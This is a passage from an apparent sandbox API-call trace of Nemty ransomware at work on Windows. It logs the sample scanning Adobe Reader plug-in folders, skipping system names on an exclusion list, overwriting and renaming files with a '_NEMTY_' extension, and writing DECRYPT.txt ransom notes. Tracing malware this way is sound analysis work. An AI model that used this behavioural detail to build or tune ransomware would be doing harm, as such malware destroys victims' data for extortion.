hHeap=0x4f90000) returned 1 [0191.756] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.756] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.756] CloseHandle (hObject=0x2f0) returned 1 [0191.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.758] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.758] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.759] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.sve._nemty_kgobjgd_")) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.759] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.759] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25456730, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0191.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0191.759] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0191.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0191.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0191.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0191.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401b8 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.761] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25456730, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0191.761] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0191.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0191.761] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2=".") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="..") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="...") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="windows") returned -1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="$RECYCLE.BIN") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="rsa") returned -1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="NTDETECT.COM") returned -1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="ntldr") returned -1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="MSDOS.SYS") returned -1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="IO.SYS") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="boot.ini") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="boot.ini") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="AUTOEXEC.BAT") returned 1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="ntuser.dat") returned -1 [0191.761] lstrcmpiW (lpString1="MPP_CZE", lpString2="desktop.ini") returned 1 [0191.762] lstrcmpiW (lpString1="MPP_CZE", lpString2="CONFIG.SYS") returned 1 [0191.762] lstrcmpiW (lpString1="MPP_CZE", lpString2="RECYCLER") returned -1 [0191.762] lstrcmpiW (lpString1="MPP_CZE", lpString2="BOOTSECT.BAK") returned 1 [0191.762] lstrcmpiW (lpString1="MPP_CZE", lpString2="bootmgr") returned 1 [0191.762] lstrcmpiW (lpString1="MPP_CZE", lpString2="programdata") returned -1 [0191.762] lstrcmpiW (lpString1="MPP_CZE", lpString2="appdata") returned 1 [0191.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_CZE", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_CZE", lpUsedDefaultChar=0x0) returned 7 [0191.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_CZE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_CZE", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_CZE", lpUsedDefaultChar=0x0) returned 7 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0191.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0191.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.765] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.765] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0191.766] CloseHandle (hObject=0x2e8) returned 1 [0191.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0191.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0191.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0191.767] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.767] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0191.768] CloseHandle (hObject=0x2e8) returned 1 [0191.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25f0ca30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25f0ca30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0191.768] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0191.768] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25f0ca30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25f0ca30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0191.768] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0191.768] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0191.768] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0191.768] lstrcmpiW (lpString1="Flash.CZE", lpString2=".") returned 1 [0191.768] lstrcmpiW (lpString1="Flash.CZE", lpString2="..") returned 1 [0191.768] lstrcmpiW (lpString1="Flash.CZE", lpString2="...") returned 1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="windows") returned -1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="$RECYCLE.BIN") returned 1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="rsa") returned -1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="NTDETECT.COM") returned -1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="ntldr") returned -1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="MSDOS.SYS") returned -1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="IO.SYS") returned -1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="boot.ini") returned 1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="boot.ini") returned 1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0191.774] lstrcmpiW (lpString1="Flash.CZE", lpString2="ntuser.dat") returned -1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="desktop.ini") returned 1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="CONFIG.SYS") returned 1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="RECYCLER") returned -1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="BOOTSECT.BAK") returned 1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="bootmgr") returned 1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="programdata") returned -1 [0191.775] lstrcmpiW (lpString1="Flash.CZE", lpString2="appdata") returned 1 [0191.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CZE", lpUsedDefaultChar=0x0) returned 9 [0191.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CZE", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CZE", lpUsedDefaultChar=0x0) returned 9 [0191.775] HeapFree (in: 